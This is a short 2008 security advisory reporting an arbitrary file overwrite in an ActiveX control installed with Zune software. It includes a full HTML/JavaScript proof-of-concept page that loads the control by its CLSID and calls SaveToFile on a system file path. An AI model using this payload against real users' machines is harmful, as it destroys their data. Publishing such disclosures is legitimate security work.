Zune software - arbitrary file overwrite

2008-04-2400:00:00

vulners.com

Vulnerability class : Arbitrary file overwrite
Discovery date : 21 April 2008
Remote : Yes
Credits : J. Bachmann & B. Mariani from ilion Research Labs
Vulnerable : Zune software: EncProfile2 Class

An arbitrary file overwrite as been discovered in an ActiveX control installed with the Zune software
package.
If a user visits the malicious page and authorize the control to run (it is not marked safe for
scripting), the attacker can erase an arbitrary file.

POC:
<HTML>
<BODY>
<object id=ctrl classid="clsid:{0B1C3B47-207F-4CEA-8F31-34E4DB2F6EFD}"></object>
<SCRIPT>
function Do_it()
{
File = "c:\\boot_.ini"
ctrl.SaveToFile(File)
}
</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Proof of
Concept">
</BODY>
</HTML>

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